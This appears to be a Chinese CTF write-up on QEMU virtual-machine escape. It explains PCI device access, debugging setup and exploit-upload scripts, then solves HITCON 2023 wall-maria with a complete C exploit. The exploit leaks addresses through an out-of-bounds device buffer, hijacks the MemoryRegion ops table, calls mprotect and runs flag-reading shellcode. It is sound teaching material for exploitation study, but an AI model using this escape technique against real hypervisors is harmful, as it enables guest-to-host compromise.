qemu逃逸这部分内容,在今年年初就有所涉猎,然而由于本人过于懒惰,这个部分的总结推了整整半年多。直到参加本月的HTICON2023,真正第一次在比赛中面对QEMU逃逸,发现了自己很多的不足之处。借这次机会将这部分内容作以总结。
在目前的QEMU逃逸题目类型中,出题者一般会在qemu-system-x86_64
(或是对应arm架构的qemu-system)的二进制程序中加入自己编写的、具有漏洞的PCI设备模块。每个PCI设备都对应一个PCI配置空间,包含该PCI设备的相关信息,结构如图。
针对PCI设备,其对应内存空间有两种形式,MMIO和PMIO
MMIO全称位Memory mapping I/O,即内存映射I/O. 直观来讲,就是内存和I/O共享一个地址空间。在计算机组成原理中,我们也接触过这样的形式:直接将一部分内存地址空间分配于外设,访问外设和代码数据使用相同的地址总线。
因此访问这种外设的I/O非常方便,因为在同一地址空间下,我们只需要直接访问映射出来的虚拟地址空间即可,对于MMIO型设备,我们可以用如下的方式访问
char* mmio_mem;
void mmio_write(uint64_t addr, char value) {
*(char*)(mmio_mem + addr) = value;
}
uint64_t mmio_read(uint64_t addr) {
return *((char *)(mmio_mem + addr));
}
int main()
{
// 这里具体打开那个pci设备需要定位,后几节我们会谈到
int fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0",O_RDWR | O_SYNC);
if (fd == -1)
{
perror("mmio_fd open failed");
exit(-1);
}
/* 映射外设I/O */
mmio_mem = mmap(0,0x1000,PROT_READ | PROT_WRITE, MAP_SHARED,fd,0);
if (mmio_mem == MAP_FAILED)
{
perror("mmap mmio_mem failed");
exit(-1);
}
}
PMIO全称为Port-mapped I/O,即端口映射I/O,也被称为隔离的I/O(isolated I/O)。在这种外设内存分配形式下,外设拥有独立的地址空间,因而在物理接口层面一般会有独立的I/O总线或I/O引脚来对这种外设进行访问。
在这种情况下,端口映射I/O需要特殊的指令来进行I/O操作。在intel微处理器下,一般使用IN和OUT来进行I/O操作。例如:inb, inw, inl, outb, outw, outl等,用于读写不同长度,b代表byte,w代表word,l代表long。访问方式如下
int pmio_base = 0xc040;
void pmio_write(uint32_t addr, uint32_t value)
{
outl(value, pmio_base + addr);
}
uint64_t pmio_read(uint32_t addr)
{
return inl(pmio_base + addr);
}
int main(int argc, char *argv[])
{
// Open and map I/O memory for the strng device
if (iopl(3) !=0 ){
perror("I/O permission is not enough");
exit(-1);
}
}
主要可以使用两个命令lspci
和info pci
在linux环境下我们可以使用命令lspci
来列出该系统装载的的所有pci设备
/root # lspci
00:01.0 Class 0601: 8086:7000
00:04.0 Class 0200: 8086:100e
00:00.0 Class 0600: 8086:1237
00:01.3 Class 0680: 8086:7113
00:03.0 Class 0200: 8086:100e
00:01.1 Class 0101: 8086:7010
00:02.0 Class 0300: 1234:1111
00:05.0 Class 00ff: 1234:dead
/root #
以第5行00:05.0 Class 00ff: 1234:dead
为例,来介绍每个部分含义,从左向右具体内容指代如下:
00
代表总线标号05.0
,其中05
代表设备号,.0
用来表示功能号00ff
,class_id1234
,vendor_iddead
,device_id一般通过后三个内容信息,我们便可知道要找的PCI设备对应哪一个内容.
在没用lspci命令的情况下,我们也可以使用info pci
命令查看,不过其为QEMU的monitor所包含的指令。
首先要修改run.sh
,在结尾部分添加monitor选项-monitor telnet:127.0.0.1:4444,server,nowait
#!/bin/bash
./qemu-system-x86_64 \
-L ./bios \
-kernel ./bzImage \
-initrd ./rootfs.cpio \
-cpu kvm64,+smep,+smap \
-monitor none \
-m 1024M \
-append "console=ttyS0 oops=panic panic=1 quiet" \
-monitor /dev/null \
-nographic \
-no-reboot \
-net user -net nic -device e1000 \
-device maria \
-sandbox on,obsolete=deny,elevateprivileges=deny,spawn=deny,resourcecontrol=deny \
-monitor telnet:127.0.0.1:4444,server,nowait
之后我们便可以使用nc
或者telnet
进行连接
┌─[loorain@ubuntu] - [~/PWN/hitcon/2023/wall_maria/share] - [5120]
└─[$] nc 127.0.0.1 4444 [10:18:44]
QEMU 8.0.2 monitor - type 'help' for more information
(qemu) info pci
info pci
Bus 0, device 0, function 0:
Host bridge: PCI device 8086:1237
PCI subsystem 1af4:1100
id ""
Bus 0, device 1, function 0:
ISA bridge: PCI device 8086:7000
PCI subsystem 1af4:1100
id ""
Bus 0, device 1, function 1:
IDE controller: PCI device 8086:7010
PCI subsystem 1af4:1100
BAR4: I/O at 0xc080 [0xc08f].
id ""
Bus 0, device 1, function 3:
Bridge: PCI device 8086:7113
PCI subsystem 1af4:1100
IRQ 9, pin A
id ""
Bus 0, device 2, function 0:
VGA controller: PCI device 1234:1111
PCI subsystem 1af4:1100
BAR0: 32 bit prefetchable memory at 0xfd000000 [0xfdffffff].
BAR2: 32 bit memory at 0xfebe0000 [0xfebe0fff].
BAR6: 32 bit memory at 0xffffffffffffffff [0x0000fffe].
id ""
Bus 0, device 3, function 0:
Ethernet controller: PCI device 8086:100e
PCI subsystem 1af4:1100
IRQ 11, pin A
BAR0: 32 bit memory at 0xfeb80000 [0xfeb9ffff].
BAR1: I/O at 0xc000 [0xc03f].
BAR6: 32 bit memory at 0xffffffffffffffff [0x0003fffe].
id ""
Bus 0, device 4, function 0:
Ethernet controller: PCI device 8086:100e
PCI subsystem 1af4:1100
IRQ 11, pin A
BAR0: 32 bit memory at 0xfeba0000 [0xfebbffff].
BAR1: I/O at 0xc040 [0xc07f].
BAR6: 32 bit memory at 0xffffffffffffffff [0x0003fffe].
id ""
Bus 0, device 5, function 0:
Class 0255: PCI device 1234:dead
PCI subsystem 1af4:1100
BAR0: 32 bit memory at 0xfebd0000 [0xfebdffff].
id ""
(qemu)
可以看到,其给出了更加详细PCI设备内容
QEMU逃逸本质上可以回归为用户态的漏洞利用问题,以为实际情况便是劫持在宿主机上运行的qemu-system
程序实现宿主机RCE,之后通过反弹shell或者其他操作便完成了一个QEMU逃逸。
因此调试QEMU的方式,便是直接attach到qemu-system
进程,具体流程如下
首先找到qemu-system
的进程号,可以使用ps -aux | grep "qemu-system"
┌─[loorain@ubuntu] - [~/PWN/hitcon/2023/wall_maria/share] - [5128]
└─[$] ps -aux | grep "qemu-system" [10:55:39]
loorain 11957 18.4 5.8 3405144 469648 pts/0 Sl+ 10:55 0:33 ./qemu-system-x86_64 -L ./bios -kernel ./bzImage -initrd ./rootfs.cpio -cpu kvm64,+smep,+smap -monitor none -m 1024M -append console=ttyS0 oops=panic panic=1 quiet -monitor /dev/null -nographic -no-reboot -net user -net nic -device e1000 -device maria -sandbox on,obsolete=deny,elevateprivileges=deny,spawn=deny,resourcecontrol=deny -monitor telnet:127.0.0.1:4444,server,nowait
loorain 12232 0.0 0.0 9208 2432 pts/5 S+ 10:58 0:00 grep --color=auto --exclude-dir=.bzr --exclude-dir=CVS --exclude-dir=.git --exclude-dir=.hg --exclude-dir=.svn --exclude-dir=.idea --exclude-dir=.tox qemu-system
┌─[loorain@ubuntu] - [~/PWN/hitcon/2023/wall_maria/share] - [5130]
└─[$]
然后需要用root权限直接gdb qemu-system,之后attach到该进程
┌─[loorain@ubuntu] - [~/PWN/hitcon/2023/wall_maria/share] - [5132]
└─[$] sudo gdb qemu-system-x86_64 [10:59:14]
[sudo] password for loorain:
GNU gdb (Ubuntu 12.1-0ubuntu1~22.04) 12.1
...
...
For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 198 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from qemu-system-x86_64...
pwndbg> attach 11957
剩下就是下断点以及调试了
这部分偷的wjh师傅的exp模板,Kernel和QEMU逃逸类型题目都是通用的,也可以更具自己需求自定义内容。
根据我自己的经验,有时候gcc生成的静态链接程序过于庞大,pwntools可能会出现传输卡死的情况发生。这个时候可以考虑用musl-gcc静态编译exp文件,体积一般能直接缩小到1/3的大小,再配合gzip压缩,传输效果嘎嘎好👌
上传脚本1(一次性发送)
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import os
# context.log_level = 'debug'
cmd = '# '
def exploit(r):
r.sendlineafter(cmd, 'stty -echo')
os.system('musl-gcc -static -O2 ./poc/exp.c -o ./poc/exp')
os.system('gzip -c ./poc/exp > ./poc/exp.gz')
r.sendlineafter(cmd, 'cat <<EOF > exp.gz.b64')
r.sendline((read('./poc/exp.gz')).encode('base64'))
r.sendline('EOF')
r.sendlineafter(cmd, 'base64 -d exp.gz.b64 > exp.gz')
r.sendlineafter(cmd, 'gunzip ./exp.gz')
r.sendlineafter(cmd, 'chmod +x ./exp')
r.sendlineafter(cmd, './exp')
r.interactive()
# p = process('./startvm.sh', shell=True)
p = remote('nc.eonew.cn',10100)
exploit(p)
上传脚本2(分段发送)
#coding:utf8
from pwn import *
import base64
context.log_level = 'debug'
os.system("musl-gcc 1.c -o exp --static")
sh = remote('127.0.0.1',5555)
f = open('./exp','rb')
content = f.read()
total = len(content)
f.close()
per_length = 0x200;
sh.sendlineafter('# ','touch /tmp/exploit')
for i in range(0,total,per_length):
bstr = base64.b64encode(content[i:i+per_length])
sh.sendlineafter('# ','echo {} | base64 -d >> /tmp/exploit'.format(bstr))
if total - i > 0:
bstr = base64.b64encode(content[total-i:total])
sh.sendlineafter('# ','echo {} | base64 -d >> /tmp/exploit'.format(bstr))
sh.sendlineafter('# ','chmod +x /tmp/exploit')
sh.sendlineafter('# ','/tmp/exploit')
sh.interactive()
这里我选用的题目是HITCON2023 wall-maria,算是比赛pwn方向的签到题,难度比较适合做qemu入门
改题目甚至直接给了maria设备的相关源码,最大程度降低了题目难度,不过我们还是从逆向开始分析,尽可能介绍这类题目的完整流程
直接将给予我们的qemu-system-x86_64
拖入IDA中,要找到我们需要的PCI设备相关函数,首先要知道设备名称。一般从启动脚本或是题目名称中可以得到相关信息,比如本题的启动脚本中包含-device maria
我们便可以在IDA的函数中搜索关键词maria
,可以得到如下结果
函数名称一般就能够直观表示功能,比如使用MMIO进行读写操作的函数,还有初始化函数相关的内容。
首先我们来看看初始化相关的函数,进入maria_class_init
,可以看到如下内容
这里比较明显的设置了该设备的一些信息,比如vendor_id
, device_id
, class_id
等等。对应lspci
得到的内容我们可以确定设备对应00:05.0 Class 00ff: 1234:dead
这一行
接下来我们需要看看核心的读写函数,由函数名,我们可以得到信息这两个函数的调用需要使用mmio的方式。为了让逆向代码可读性更好,我们需要将函数的第一个参数设置为对应的结构体类型(一般结构体的名称与设备名称相关,可以用关键词搜索)
右键指针类型,选择 Convert to struct *...
然后关键词搜索maria,设置对应类型。对write函数也进行同样的操作
我们就能得到相对直观的伪代码,下图是mmio_read
和mmio_write
我们注意到read和write使用cpu_physical_memory_rw()
来进行内存读写操作,需要注意的是,该函数用于物理内存的读写。因而我们需要对虚拟内存进行转换,这里我们先来关注下该函数的原型和使用方式
void __cdecl cpu_physical_memory_rw(hwaddr addr, void *buf, hwaddr len, bool is_write) {};
/*
* 函数简介:
* 该函数主要用于物理内存之间的数据读写:当is_write为0时,由addr拷贝
* 至buf;当is_write为1时,由buf拷贝至addr。
* 参数含义:
* hwaddr addr 表示客户机的物理地址,例如QEMU中我们的EXP程序;
* void* buf 表示QEMU本身的虚拟地址,例如qemu-system-x86_64;
* hwaddr len 表示读写长度;
* bool is_write 函数功能控制参数,解释如上简介。
*/
这里的漏洞比较直观,主要是由于读写时的长度固定为0x2000,在设置偏移off
之后,便会导致越界读写。根据我个人调试的结果,成员变量src
具结构体开头的偏移0xa20,off
为偏移0xa28,buff
偏移为0xa30,结构体定义如下:
typedef struct {
PCIDevice pdev;
struct {
uint64_t src;
uint8_t off;
} state;
char buff[BUFF_SIZE];
MemoryRegion mmio;
} MariaState;
可以看到越界读写便会读取结构体MemoryRegion
中的内容,里面有相当多的指针,具体我们会在后面介绍
因此基本利用思路如下:
qemu-system-x86_64
所在虚拟内存的堆地址指针和text段地址指针mmio->ops
, mmio->opaque
指针至合适的位置mmio_read
和mmio_write
以劫持控制流这里读写前需要考虑一个问题,内存读写的大小为0x2000,刚刚好是两个页面;同时又使用进程物理地址获取信息。所以我们还需要保证exp中的buf[0x2000]对应两个恰好连续的物理页面。这里解决方案使用的便是Linux Huge Page的方式,来扩大页表大小。
在申请buf前,使用如下方式开启Linux Huge Page
system("sysctl vm.nr_hugepages=32");
system("cat /proc/meminfo | grep -i huge");
具体介绍可以我之前的博客:Linux Huge Pages
MemoryRegion
结构体定义如下,我们可以找到ops
和opague
相对于该结构体起始地址的偏移为0x48和0x50
struct MemoryRegion {
Object parent_obj;
/* private: */
/* The following fields should fit in a cache line */
bool romd_mode;
bool ram;
bool subpage;
bool readonly; /* For RAM regions */
bool nonvolatile;
bool rom_device;
bool flush_coalesced_mmio;
uint8_t dirty_log_mask;
bool is_iommu;
RAMBlock *ram_block;
Object *owner;
/* owner as TYPE_DEVICE. Used for re-entrancy checks in MR access hotpath */
DeviceState *dev;
const MemoryRegionOps *ops;
void *opaque;
MemoryRegion *container;
int mapped_via_alias; /* Mapped via an alias, container might be NULL */
Int128 size;
hwaddr addr;
void (*destructor)(MemoryRegion *mr);
uint64_t align;
bool terminates;
bool ram_device;
bool enabled;
bool warning_printed; /* For reservations */
uint8_t vga_logging_count;
MemoryRegion *alias;
hwaddr alias_offset;
int32_t priority;
QTAILQ_HEAD(, MemoryRegion) subregions;
QTAILQ_ENTRY(MemoryRegion) subregions_link;
QTAILQ_HEAD(, CoalescedMemoryRange) coalesced;
const char *name;
unsigned ioeventfd_nb;
MemoryRegionIoeventfd *ioeventfds;
RamDiscardManager *rdm; /* Only for RAM */
/* For devices designed to perform re-entrant IO into their own IO MRs */
bool disable_reentrancy_guard;
};
需要知道的是opaque
即mmio函数的第一个参数,也就是指向PCI对应结构体的起始地址;ops
指向一个虚表,用于存放该PCI设备对应的一些函数,如下图
ops
指向的第一个函数为read,第二个函数为write;对于本题存在沙盒,我们只需要劫持虚表指针,覆盖maria_mmio_read
为mprotect
,maria_mmio_write
为shellcode即可。
函数参数rdi可以通过越界覆盖opaque指针完成,其他参数也可以直接控制,参考exp如下:
/*
* escape-qemu template for mimo PCI device
* By Loora1N
*/
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <unistd.h>
#include <sys/io.h>
#include <sys/types.h>
#include <inttypes.h>
unsigned char *mmio_mem;
#define PAGE_SIZE 0x1000
void mmio_write(uint32_t addr, uint32_t value) {
*(uint32_t *)(mmio_mem + addr) = value;
}
uint32_t mmio_read(uint32_t addr) {
return *(uint32_t *)(mmio_mem + addr);
}
void set_src(uint32_t value) {
mmio_write(0x04, value);
}
void set_off(uint32_t value) {
mmio_write(0x08, value);
}
void get_buff() {
mmio_read(0x00);
}
void set_buff() {
mmio_write(0x00, 0);
}
uint64_t gva2gpa(void *addr){
uint64_t page = 0;
int fd = open("/proc/self/pagemap", O_RDONLY);
if (fd < 0) {
fprintf(stderr, "[!] open error in gva2gpa\n");
exit(1);
}
lseek(fd, ((uint64_t)addr / PAGE_SIZE) * 8, SEEK_SET);
read(fd, &page, 8);
return ((page & 0x7fffffffffffff) * PAGE_SIZE) | ((uint64_t)addr & 0xfff);
}
int main() {
//init
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:05.0/resource0", O_RDWR | O_SYNC);
if (mmio_fd == -1) {
fprintf(stderr, "[!] Cannot open /sys/devices/pci0000:00/0000:00:05.0/resource0\n");
exit(1);
}
mmio_mem = mmap(NULL, 4 * PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if (mmio_mem == MAP_FAILED) {
fprintf(stderr, "[!] mmio error\n");
exit(1);
}
printf("[*] mmio done\n");
//set huge pages
system("sysctl vm.nr_hugepages=32");
system("cat /proc/meminfo | grep -i huge");
//寻址物理地址相邻的页
char* buff;
uint64_t buff_gpa;
while(1){
buff = (char *)mmap(NULL, 2 * PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
if(buff == MAP_FAILED) {
fprintf(stderr, "[!] cannot mmap buff\n");
}
memset(buff, 0x0, 2 * PAGE_SIZE);
buff_gpa = gva2gpa(buff);
uint64_t buff_gpa_1000 = gva2gpa(buff + PAGE_SIZE);
if(buff_gpa + PAGE_SIZE == buff_gpa_1000) {
break;
}
}
printf("[*] buff virtual address = %p\n",buff);
printf("[*] buff physical address = %p\n",buff_gpa);
set_src(buff_gpa);
set_off(0xf0);
get_buff();
uint64_t * buff_u64 = (uint64_t *) buff;
uint64_t maria_buff_addr = buff_u64[0x3fa] - 0x20b8;
uint64_t maria_addr = maria_buff_addr - 0xa30;
uint64_t qemu_code_base = buff_u64[0x3eb] - 0xf1ff80;
uint64_t mprotect_plt = qemu_code_base + 0x30C404;
printf("[*] maria buff addr = %p\n",maria_buff_addr);
printf("[*] maria addr = %p\n",maria_addr);
printf("[*] qemu_code_base = %p\n",qemu_code_base);
printf("[*] mprotect_plt = %p\n",mprotect_plt);
/* orw shellcode*/
char shellcode[] = {
0xeb, 0x10, 0x2f, 0x68, 0x6f, 0x6d, 0x65, 0x2f, 0x75, 0x73, 0x65, 0x72,
0x2f, 0x66, 0x6c, 0x61, 0x67, 0x00, 0x6a, 0x02, 0x58, 0x48, 0x8d, 0x3d,
0xe6, 0xff, 0xff, 0xff, 0x31, 0xf6, 0x0f, 0x05, 0x48, 0x97, 0x31, 0xc0,
0x54, 0x5e, 0x6a, 0x70, 0x5a, 0x0f, 0x05, 0x48, 0x92, 0x6a, 0x01, 0x58,
0x6a, 0x01, 0x5f, 0x54, 0x5e, 0x0f, 0x05, 0x48, 0x31, 0xff, 0x6a, 0x3c,
0x58, 0x0f, 0x05
};
buff_u64[0x0] = maria_buff_addr + 0x4f0; // overwirte mmio_read to shellcode
buff_u64[0x1] = mprotect_plt; // overwrite mmio_write to mprotect
memcpy(&buff_u64[0x80],shellcode,sizeof(shellcode));
//覆盖 maria->mmio.ops and maria->mmio.opaque
buff_u64[0x3ec] = maria_buff_addr & ~0xfff; // maria->mmio.opaque 控制rdi
buff_u64[0x3eb] = maria_buff_addr + 0xf0; // maria->mmio.ops 覆盖虚表
buff_u64[0x3eb - (maria_addr & 0xfff) / 8] = maria_buff_addr + 0xf0; // (MariaState *)(maria_addr & 0xfff)->mmio.ops 控制rdi所对应的虚表
set_src(buff_gpa);
set_off(0xf0);
set_buff();
mmio_write(0x2000, 0x7); // mprotect(maria_buff_addr & ~0xfff, 0x2000, 0x7)
mmio_read(0x0);
return 0;
}